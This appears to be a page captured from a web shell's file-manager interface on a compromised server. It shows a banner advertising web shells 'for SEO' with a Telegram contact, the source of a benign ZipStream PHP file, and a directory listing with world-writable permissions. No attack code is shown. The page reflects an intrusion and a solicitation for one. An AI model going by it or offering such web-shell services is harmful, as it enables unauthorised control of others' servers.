__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace ZipStream;
use DateTimeInterface;
/**
* @internal
*/
abstract class CentralDirectoryFileHeader
{
private const SIGNATURE = 0x02014b50;
public static function generate(
int $versionMadeBy,
int $versionNeededToExtract,
int $generalPurposeBitFlag,
CompressionMethod $compressionMethod,
DateTimeInterface $lastModificationDateTime,
int $crc32,
int $compressedSize,
int $uncompressedSize,
string $fileName,
string $extraField,
string $fileComment,
int $diskNumberStart,
int $internalFileAttributes,
int $externalFileAttributes,
int $relativeOffsetOfLocalHeader,
): string {
return PackField::pack(
new PackField(format: 'V', value: self::SIGNATURE),
new PackField(format: 'v', value: $versionMadeBy),
new PackField(format: 'v', value: $versionNeededToExtract),
new PackField(format: 'v', value: $generalPurposeBitFlag),
new PackField(format: 'v', value: $compressionMethod->value),
new PackField(format: 'V', value: Time::dateTimeToDosTime($lastModificationDateTime)),
new PackField(format: 'V', value: $crc32),
new PackField(format: 'V', value: $compressedSize),
new PackField(format: 'V', value: $uncompressedSize),
new PackField(format: 'v', value: strlen($fileName)),
new PackField(format: 'v', value: strlen($extraField)),
new PackField(format: 'v', value: strlen($fileComment)),
new PackField(format: 'v', value: $diskNumberStart),
new PackField(format: 'v', value: $internalFileAttributes),
new PackField(format: 'V', value: $externalFileAttributes),
new PackField(format: 'V', value: $relativeOffsetOfLocalHeader),
) . $fileName . $extraField . $fileComment;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0777 |
|
|
| Zip64 | Folder | 0777 |
|
|
| Zs | Folder | 0777 |
|
|
| CentralDirectoryFileHeader.php | File | 1.91 KB | 0777 |
|
| CompressionMethod.php | File | 2.09 KB | 0777 |
|
| DataDescriptor.php | File | 616 B | 0777 |
|
| EndOfCentralDirectory.php | File | 1.22 KB | 0777 |
|
| Exception.php | File | 103 B | 0777 |
|
| File.php | File | 13.06 KB | 0777 |
|
| GeneralPurposeBitFlag.php | File | 2.39 KB | 0777 |
|
| LocalFileHeader.php | File | 1.31 KB | 0777 |
|
| OperationMode.php | File | 803 B | 0777 |
|
| PackField.php | File | 1.44 KB | 0777 |
|
| Time.php | File | 1.09 KB | 0777 |
|
| Version.php | File | 178 B | 0777 |
|
| ZipStream.php | File | 27.08 KB | 0777 |
|